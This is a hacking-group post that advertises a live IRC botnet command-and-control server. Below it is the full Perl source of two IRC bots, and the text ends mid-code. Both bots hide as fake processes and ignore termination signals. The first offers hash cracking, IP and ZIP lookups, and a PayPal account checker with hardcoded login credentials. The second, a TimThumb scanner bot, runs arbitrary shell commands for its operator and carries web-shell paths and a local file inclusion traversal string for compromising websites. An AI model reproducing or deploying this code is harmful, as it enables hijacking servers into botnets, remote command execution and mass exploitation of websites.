TRG c0li Botnet

TRG - c0li Botnet -
   1.   -----BEGIN PGP SIGNED MESSAGE-----   2.   Hash: RIPEMD160   3.       4.   We, the TRG, presents a random botnet C&C   5.       6.   Host:    irc.c0li.net   7.   Channel: #linux   8.   Port:    54321   9.   MOA:     LFI google dork to dropping a perl irc bot   10.   Bot:     http://pastebin.com/pCajmCUq   11.   Shell:   http://pastebin.com/1pbCEQ5A   12.   Website: http://c0li.blogspot.com   13.       14.   -----BEGIN PGP SIGNATURE-----   15.   Version: GnuPG v2.0.17 (MingW32)   16.       17.   iQIcBAEBAwAGBQJP0pvIAAoJEFydt9HxKF6qKMcP/i5Cq3nR0tjYP/2f9Ghjuj6n   18.   8SknPm+QhYQkhehygfMydanthd6owZC6jnWAa30QPtxWEuSIdOVSpy38wQpb+9sQ   19.   JBEUabvFnFcXWChV3OsKK++VqqPyM/7F4GJM8syXogtFY0zLTjMxW1+WZF8QD7pe   20.   W/WGyjMdWIdJNtPv/W4yxylhd5WVwS3kHyPx51Es4xVDSQg5z1FQsh/DQ6yqsl2k   21.   wvdpxGwJtJMU/p/gJlvfnnedYY6r8oZqHc9wrCjyVeBvsv8VNKf6ZKLcwJbGkanG   22.   ZTIWEUCA0zzR3/PGICuO5P6QiUasM2nhdg9eLCCrSlk1mezZSEuuwiZdfC6et37o   23.   lj3fhaLso/5fe2HoV61FDqZIaPPi1bbVOgCmrAuHyGbiZoP06a9Wo0UZ4XZFWZVb   24.   33O5LRfxHdszJr919y1ceb8ves5VBgH/Z6qJEcejIUpotAVZqozJu9BD0mL56MKP   25.   tDR4epX0qJXGq4pIYN4W0r8mUxXyyHb/elOaixlMlud7Tkls40TcSZ18eMFfrq72   26.   sAv2MiMo8PJC4A4cIpDeu+aILjoxmR+oN2a3gzWqIS4dC7kWfUr/sM7UfB0aJPJl   27.   4JzT9MaqNZIeKhUtuTSjcVTcxbYQ0Bm56nXlJYdDSymzG+JzW8MakgzaydflxSkM   28.   fsDCzs4cCeeiRWSkt21I   29.   =Xyvr   30.   -----END PGP SIGNATURE-----




-----BEGIN PGP SIGNED MESSAGE-----Hash: RIPEMD160
#!/usr/bin/perl
use HTTP::Request::Common qw(POST);use LWP::UserAgent;use IO::Socket;use IO::Select;use Socket;
my $fakeproc  = $ARGV[6];$ircserver    = $ARGV[0] unless $ircserver;my $nickname  = $ARGV[2];my $ident     = $ARGV[3];my $channel   = '#'.$ARGV[4];my $runner    = $ARGV[5];my $fullname  = '15(7@2Hash Cracker15)';my $ircport   = $ARGV[1];


my $encrypt   = '!enc';my $decrypt   = '!dec';my $zipcmd    = '!zip';my $ipcmd     = '!ip';
my $success   = "\n [+]  Hash Cracker v2.0\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n\n";my $failed    = "\n [?] perl $0 <irchost> <port> <nick> <ident> <chan> <runner> <fakeproc>\n\n";
if (@ARGV != 7) { print $failed; exit(); } else { print $success; }
$SIG{'INT'}   = 'IGNORE';$SIG{'HUP'}   = 'IGNORE';$SIG{'TERM'}  = 'IGNORE';$SIG{'CHLD'}  = 'IGNORE';$SIG{'PS'}    = 'IGNORE';
chdir("/");$ircserver="$ARGV[0]" if $ARGV[0];$0="$fakeproc"."\0"x16;;my $pid=fork;exit if $pid;die "Something Wrong !!!: $!" unless defined($pid);
our %irc_servers;our %DCC;my $dcc_sel = new IO::Select->new();$sel_client = IO::Select->new();
sub sendraw {  if ($#_ == '1') {    my $socket = $_[0];    print $socket "$_[1]\n";  } else {      print $IRC_cur_socket "$_[0]\n";  }}
sub connector {   my $mynick = $_[0];   my $ircserver_con = $_[1];   my $ircport_con = $_[2];   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);   if (defined($IRC_socket)) {     $IRC_cur_socket = $IRC_socket;
     $IRC_socket->autoflush(1);     $sel_client->add($IRC_socket);
     $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";     $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";     $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;     $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;     nick("$mynick");     sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");     sleep 1;   }}
sub parse {   my $servarg = shift;   if ($servarg =~ /^PING \:(.*)/) {     sendraw("PONG :$1");   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;       if ($args =~ /^\001VERSION\001$/) {         notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");       }         if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {            my $natrix = $1;            my $arg = $2;         }       }    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {       if (lc($1) eq lc($mynick)) {         $mynick=$4;         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;       }   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {       nick("$mynick|".int rand(999));   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {       $mynick = $2;       $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";       sendraw("MODE $nickname +Bx");       sendraw("JOIN $channel");       sendraw("PRIVMSG $channel :TempSys md5");       sendraw("PRIVMSG $runner :Hi $runner im here !!!");   }}
my $line_temp;while( 1 ) {   while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }   delete($irc_servers{''}) if (defined($irc_servers{''}));   my @ready = $sel_client->can_read(0);   next unless(@ready);   foreach $fh (@ready) {     $IRC_cur_socket = $fh;     $mynick = $irc_servers{$IRC_cur_socket}{'nick'};     $nread = sysread($fh, $msg, 4096);     if ($nread == 0) {        $sel_client->remove($fh);        $fh->close;        delete($irc_servers{$fh});     }     @lines = split (/\n/, $msg);$msg =~ s/\r\n$//;
if ($msg=~ /PRIVMSG $channel :!help/){    sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15)7 $encrypt <text> | $decrypt <hash> | $zipcmd> <us-zipcode> | $ipcmd <ip/host> | !host <ip/host> | !power | !about ");}
if ($msg=~ /PRIVMSG $channel :!power/){    sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 MD5   : md5_64bit, md5_128bit, md5(md5_lcase) \& md5(md5_Ucase)");    sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 Sha1  : sha1_160bit");    sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Power15)12 MySQL : MySQL_64bit \& MySQL_160bit");}
if ($msg=~ /PRIVMSG $channel :!about/){    sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)12 Hash Cracker v1.3");    sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)12 Coded by VopCrew");}
if ($msg=~ /PRIVMSG $channel :!pid/){    sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$");}
##################################################################### PassCracking.Com Hash Engine - Hash 2 Textif ($msg=~ /PRIVMSG $channel :$decrypt\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $hash    = $1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 Trying to Crack7 ".$hash." 12...");my $cracker = "http://passcracking.com/index.php";my ($useragent,$request,$response,%form);undef %form;$form{datafromuser} = $hash;$useragent = LWP::UserAgent->new;$useragent->timeout(10);$request   = POST $cracker,\%form;$response  = $useragent->request($request);if ($response->is_success) {    my $res = $response->content;    if ($res =~ m/([0-9])<\/td><td>(.*)<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*)<\/td><td>(.*)<\/td><\/tr><tr align=center onMouseOver=/g) {        my ($type,$result) = ($2,$3);        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [$type]4 ".$hash." 12->3 ".$result);    }    elsif ($res =~ m/([0-9])<\/td><td>(.*)<\/td><td>$hash<\/td><td bgcolor=#FF0000>(.*)<\/td><td>/g) {        my ($type,$result) = ($2,$3);        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [$type]4 ".$hash." 12->3 ".$result);    }    elsif ($res =~ m/([0-9])<\/td\><td>(.*)<\/td><td>$hash<\/td><td >[ not found ]/g) {        my $type = $2;        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [PassCracking]7 [$type]4 ".$hash." 12not found.");    }    elsif ($res =~ m/Thanks for NEW pass/g) {        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Hack15)12 [PassCracking]7 ".$hash." 12is unknown hash.");    }        else {        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [PassCracking]7 ".$hash." 12not found.");    }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open PassCracking.cOm"); }}exit;}}
##################################################################### GDataOnline.com MD5 Engine - Md5 2 Textif ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $hash      = $1;my $cracker   = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$hash;my $request   = HTTP::Request->new(GET=>$cracker);my $useragent = LWP::UserAgent->new();$useragent->timeout(10);my $response  = $useragent->request($request);if ($response->is_success) {        my $res  = $response->content;        if ($res =~ m/>$hash<\/td><td width="35%"><b>(.*)<\/b>/g) {                my $result = $1;                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [GDataOnline]4 ".$hash." 12->3 ".$result);        }        else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [GDataOnline]4 ".$hash." 12not found."); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open GDataOnline.cOm"); }}exit;}}
##################################################################### md5.rednoize.com MD5 Engine - Md5 2 Textif ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $hash      = $1;my $cracker   = "http://md5.rednoize.com/?s=md5&q=".$hash;my $request   = HTTP::Request->new(GET=>$cracker);my $useragent = LWP::UserAgent->new();$useragent->timeout(10);my $response  = $useragent->request($request);if ($response->is_success) {        my $res  = $response->content;        if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {                my $result = $1;                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [RedNoize]4 ".$hash." 12->3 ".$result);        }        else {                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 [RedNoize]4 ".$hash." 12not found.");        }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open Md5.RedNoize.cOm"); }}exit;}}
##################################################################### c0li.m0de.0n MD5 Engine - Text 2 Hashif ($msg=~ /PRIVMSG $channel :$encrypt\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $teks=$1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Trying to encrypt7 ".$teks." 12...");my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;my $request   = HTTP::Request->new(GET=>$hashing);my $useragent = LWP::UserAgent->new();$useragent->timeout(10);my $response  = $useragent->request($request);if ($response->is_success) {        my $res   = $response->content;        if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {                my ($md5,$sha1,$base64) = ($1,$2,$3);                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 MD5    :4 ".$teks." 12->3 ".$md5);                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Sha1   :4 ".$teks." 12->3 ".$sha1);                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Base64 :4 ".$teks." 12->3 ".$base64);        }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Cannot open c0li.m0de.0n"); }}exit;}}
##################################################################### www.myipneighbors.com - DOTESTBED HOSTED SCANNERif ($msg=~ /PRIVMSG $channel :!host\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $ipaddr = $1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Dotestbed in7 ".$ipaddr." 12Host ...");my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search";my $res     = getcontent($hashing);while ($res =~ m/<tr style=\"background:#dedede;\"><td>(.*)<\/td><td>/g) {        my $dns1 = $1;        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$dns1);        sleep(2);}while ($res =~ m/<tr style=\"background:#ffffff;\"><td>(.*)<\/td><td>/g) {        my $dns2 = $1;        sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$dns2);        sleep(2);}if ($res !~ m/<tr style=\"background:#.*;\"><td>.*<\/td><td>/g) {        if ($res =~ m/<b>$ipaddr<\/b> has address <b>(.*)<\/b>/g) {                $mydns = $1;                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 4->3 ".$mydns);        }        else {
                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 ".$ipaddr." 7->4 Bad Dotestbed.");        }}sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2TestbedHack15)12 Listing of Dotestbed in4 ".$ipaddr." 12is Done.");}exit;}}
##################################################################### US ZIP Lookup www.ZIPInfo.comif ($msg=~ /PRIVMSG $channel :$zipcmd\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $zip = $1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Looking up7 ".$zip." 12ZIP Code ...");my $website   = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";my $request   = HTTP::Request->new(GET=>$website);my $useragent = LWP::UserAgent->new();$useragent->timeout(10);my $response  = $useragent->request($request);if ($response->is_success) {        my $res  = $response->content;        if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {                my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 City Name   :3 ".$city."");                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 State Code  :3 ".$state."");                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 ZIP Code    :3 ".$zipcode."");                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 County Name :3 ".$county."");                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Area Code   :3 ".$area."");        }        else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)7 $zip 4is not a valid ZIP code."); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2US-ZIP15)12 Cannot open www.ZIPInfo.com"); }}exit;}}
##################################################################### IP Location - www.ipligence.comif ($msg=~ /PRIVMSG $channel :$ipcmd\s+(.*)/ ) {if (my $pid = fork) {waitpid($pid, 0);} else {if (fork) {exit;} else {my $ip = $1;sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Searching7 ".$ip." 12Location ...");my $website = "http://www.ipligence.com/geolocation";my ($useragent,$request,$response,%form);undef %form;$form{ip}  = $ip;$useragent = LWP::UserAgent->new;$useragent->timeout(10);$request   = POST $website,\%form;$response  = $useragent->request($request);if ($response->is_success) {    my $res = $response->content;        if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {                my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 IP Address :3 ".$ipaddress."");                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 City       :3 ".$city."");                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Country    :3 ".$country."");                sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Continent  :3 ".$continent."");        }        else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)7 $ip 12-> 4Invalid address or IP not found."); }}else { sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IP-Location15)12 Cannot open www.ipligence.com"); }}exit;}}
for (my $c=0; $c<= $#lines; $c++) {        $line = $lines[$c];        $line=$line_temp.$line if ($line_temp);        $line_temp='';        $line =~ s/\r$//;        unless ($c == $#lines) {                parse("$line");        } else {                if ($#lines == 0) {                parse("$line");                } elsif ($lines[$c] =~ /\r$/) {                        parse("$line");                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {                        parse("$line");                } else {                        $line_temp = $line;                }        }}
}}
sub nick {  return unless $#_ == 0;  sendraw("NICK $_[0]");}
sub notice {   return unless $#_ == 1;   sendraw("NOTICE $_[0] :$_[1]");}
sub getcontent() {    $url = $_[0];    my $req = HTTP::Request->new(GET => $url);    my $ua = LWP::UserAgent->new();    $ua->timeout(10);    my $response = $ua->request($req);    return $response->content;}##################################################################### PP Checking
                if($msg{'what'} =~ /\!chkpp (.*)/)                {                my ($ppchek) = ($1);chop($ppchek);                &respond_to_privmsg(\%msg,"15[7CHECKiNGPAYPAL15] CHECKiNG... -$ppchek- ");print "inizio mechanize\n";my $agent = WWW::Mechanize->new( autocheck => 1 );my $formfiller = WWW::Mechanize::FormFiller->new();$agent->env_proxy();$agent->get('https://www.paypal.com/us/verified/pal='.$ppchek.'');   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};  $agent->form_number(3);  { local $^W; $agent->current_form->value('login_email', 'otntguzuhj@mailinator.com'); };  { local $^W; $agent->current_form->value('login_password', 'kernel747'); };  $agent->submit();  $agent->follow_link('n' => 7);  print $agent->content,"\n";my $internal=$agent->content;                &respond_to_privmsg(\%msg,"Email - ${ppchek} - ");if ($internal =~/is NOT PayPal Verified/){                &respond_to_privmsg(\%msg,"PaypaL - is - 04UnVerified ");}if ($internal =~/<td class=\"emphasis\">(.*?)<\/td>/){                &respond_to_privmsg(\%msg,"PaypaL - is - 03Verified ");}}-----BEGIN PGP SIGNATURE-----Version: GnuPG v2.0.17 (MingW32)
iQIcBAEBAwAGBQJP0pofAAoJEFydt9HxKF6qaVcP+wfyV2ZWaw6Mtz74ZKjfHs8KijflTKWrKBGzkPEFL2KiVKsOxvOA0ypVnfxQthyCIeWwhXClWL0z1iyUTqch2muw7cSrxbNzlDe4GLU+4hDS3Q8FbjYg1ZbnR89Cf8XjMu+l7Bgwd+qgOZQqIE/fopr/TK8tSNa6t8iJ4q1fXh5DLtHviRyiVX8WUa+HVQWJFvhcMb7WuakA8j3fuSuzCwcNuZQQm1XNuQivuDcNZfnR9hEmBot0PpDtu96IeKaFncEHrNkqaVc4+kJT5RyDSDDftHv1BYUbvuc9P25/NQY2t9+QaBBK1oqvWTnmzYBUc/8X6Z/pLiU6win9Hnwv+w1loX164Tk5XBAQ6AAlJkVkr9DJJdLCAhgwdD2RU0NYK9a0LBaof83qynKXqBYEYXcJy4TG/w6vNIWQM2e3U1fb+0Udihp6Z6h0dJLPdzm2Aqij7irNCA1kKHRSsUHniImDrKNcMmCovKhBU9fs88YwSNrJHO+knCf4xndB9KMzB98yPxwJXfSO7/Da0I8q/ScnsG3foYZEk+I3e5KieKws2TXtPaq0W08LsD7LJUKBma7xkJ5ejbV6xW0teX18pxKe2j6lsQ/H/11kvgrtu3rX48uSIQ5bcNH3s9khemipd9IHDXTgimU9myQ27vk7fPqHlP4jKjvjFWWo/cYzjEow=2wgJ-----END PGP SIGNATURE-----


Timthumb Bot [Perl]







#!/usr/bin/perl
#############################
##################### Timthumb v 1.02 ##############
#########################################################


use HTTP::Request;                                      #
use HTTP::Request::Common;                              #
use HTTP::Request::Common qw(POST);                     #
use LWP::Simple;                                        #
use LWP 5.64;                                           #
use LWP::UserAgent;                                     #
use Socket;                                             #
use IO::Socket;                                         #
use IO::Socket::INET;                                   #
use IO::Select;                                         #
use MIME::Base64;                         #
#########################################################

my $datetime  = localtime;

my $fakeproc  = "/usr/sbin/httpd";
my $ircserver = '94.249.208.164' unless $ircserver;
my $ircport   = '6667';
my $nickname  = "jatimcrew";
my $ident     = "jatimcrew";
my $channel   = "#IRH";
my $admin     = "bom2stalker";

my $username  = " 4,1( 9@ IRH 4,1) ";
my $thumblogo = " 4,1( 9! 0timthumb 4,1)";

my $thumbcmd  = '!tim';

my $thumbshell   = "shell.php";
my $stalker1   = "/cache/1ca925cd2bacd505294eb39c9f85233f.php";
my $stalker2   = "/cache/external_1ca925cd2bacd505294eb39c9f85233f.php";
my $stalker3   = "/temp/1ca925cd2bacd505294eb39c9f85233f.php";               
my $stalker4   = "/temp/external_1ca925cd2bacd505294eb39c9f85233f.php";          
my $stalker5   = "/wp-content/uploads/thumb-temp/1ca925cd2bacd505294eb39c9f85233f.php";

my $engine   ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR,Clix,Search66,BigLobe,InteRia,PaGIna";
my @uagents   = ("Mozilla/5.0 (compatible; Googlebot/2.0; +http://www.google.com/bot.html)","FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)",
      "Gigabot/3.0 (http://www.gigablast.com/spider.html)","gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)","Mozilla/5.0 (Windows; U; Windows NT 5.1;en-US;rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12",
      "IlTrovatore-Setaccio/1.2 (http://www.iltrovatore.it/aiuto/faq.html)","Mozilla/5.0 (Windows;U;Windows NT 5.1; l-PL;rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4",
      "Infoseek SideWinder/2.0B (Linux 2.4 i686)","Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6",
      "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)","Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1",
      "Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)","Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)");
my $uagent    = $uagents[rand(scalar(@uagents))];
my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ";

print ('Ps-X TeaM');

$SIG{'INT'}   = 'IGNORE';
$SIG{'HUP'}   = 'IGNORE';
$SIG{'TERM'}  = 'IGNORE';
$SIG{'CHLD'}  = 'IGNORE';
$SIG{'PS'}    = 'IGNORE';

chdir("/");
$ircserver = "$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
    if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
    } else {
        print $IRC_cur_socket "$_[0]\n";
    }
}

sub connector {
    my $mynick = $_[0];
    my $ircserver_con = $_[1];
    my $ircport_con = $_[2];
    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
    if (defined($IRC_socket)) {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_client->add($IRC_socket);
        $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
        nick("$mynick");
        sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$username");
        sleep (1);
    }
}

sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        sendraw("PONG :$1");
    }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
        if (lc($1) eq lc($mynick)) {
            $mynick = $4;
            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        }
    }
    elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
        nick("$mynick".int rand(999));
    }
    elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
        $mynick = $2;
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
        sendraw("MODE $mynick +i");
        sendraw("JOIN $channel");
        sleep(1);
        sendraw("PRIVMSG $channel :irhtim ready");
        sendraw("PRIVMSG $admin : 9SIAP");
    }
}

my $line_temp;
while( 1 ) {
    while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
    foreach $fh (@ready) {
        $IRC_cur_socket = $fh;
        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $ircmsg, 4096);
        if ($nread == 0) {
            $sel_client->remove($fh);
            $fh->close;
            delete($irc_servers{$fh});
        }
        @lines = split (/\n/, $ircmsg);
        $ircmsg =~ s/\r\n$//;

        if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
            my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
            if ($path eq $mynick) {
                if ($msg =~ /^ PING (.*) /) {
                    sendraw("NOTICE $nick : PING $1 ");
                }
                if ($msg =~ /^ VERSION /) {
                    sendraw("NOTICE $nick : VERSION mIRC irh ");
                }
                if ($msg =~ /^ TIME /) {
                    sendraw("NOTICE $nick : TIME ".$datetime." ");
                }
                if (&isAdmin($nick) && $msg eq "!die") {
                    &shell("$path","kill -9 $$");
                }
                if (&isAdmin($nick) && $msg eq "!quit") {
                    &shell("$path","killall -9 perl");
                }
                if (&isAdmin($nick) && $msg eq "!rehash") {
                    sendraw("QUIT : 9Restart Proses...");
                }
                if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
                    sendraw("JOIN #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
                    sendraw("PART #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
                    sendraw("NICK ".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^!pid/) {
                    sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");
                }
                if (&isAdmin($nick) && $msg !~ /^!/) {
                    &shell("$nick","$msg");
                }
            }
            else {
                if (&isAdmin($nick) && $msg eq "!die") {
                    &shell("$path","kill -9 $$");
                }
                if (&isAdmin($nick) && $msg eq "!quit") {
                    &shell("$path","killall -9 perl");
                }
                if (&isAdmin($nick) && $msg eq "!rehash") {
                    sendraw("QUIT : 9Restart Proses...");
                }
                if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
                    sendraw("JOIN #".$1);
                }
                if (&isAdmin($nick) && $msg eq "!part") {
                    sendraw("PART $path");
                }
                if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
                    sendraw("PART #".$1);
                }
                if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
                    &shell("$path","$1");
                }
                if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
                    &shell("$path","$1");
                }
                ######################################################### HELP COMMAND
                if ($msg=~ /^!help/) {
                    my $helplogo = " 4( 9@ 0Help 4)";
                    &notice("$nick","$helplogo 9################## 12HELP 9################## ");
                    &notice("$nick","$helplogo 0This Bot For TimThumb Scanner Only ");
                    &notice("$nick","$helplogo 4Command : $thumbcmd [bug] [Dork]     ");
                    &notice("$nick","$helplogo 9################## 12irh 9################## ");
                }

                if (&isAdmin($nick) && $msg =~ /^!pid/) {
                    &notice("$nick"," 4,1Fake Process/PID : $fakeproc - $$");
      }

      ######################################################### TIMTHUMB
                if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
                    if (my $pid = fork) {
                        waitpid($pid, 0);
                    }
                    else {
                        if (fork) { exit; } else {
                            my ($bug,$dork) = ($1,$2);
                            &msg("$path","$thumblogo 0Dork : 9 $dork");
                            &msg("$path","$thumblogo 0Bugz : 9 $bug");
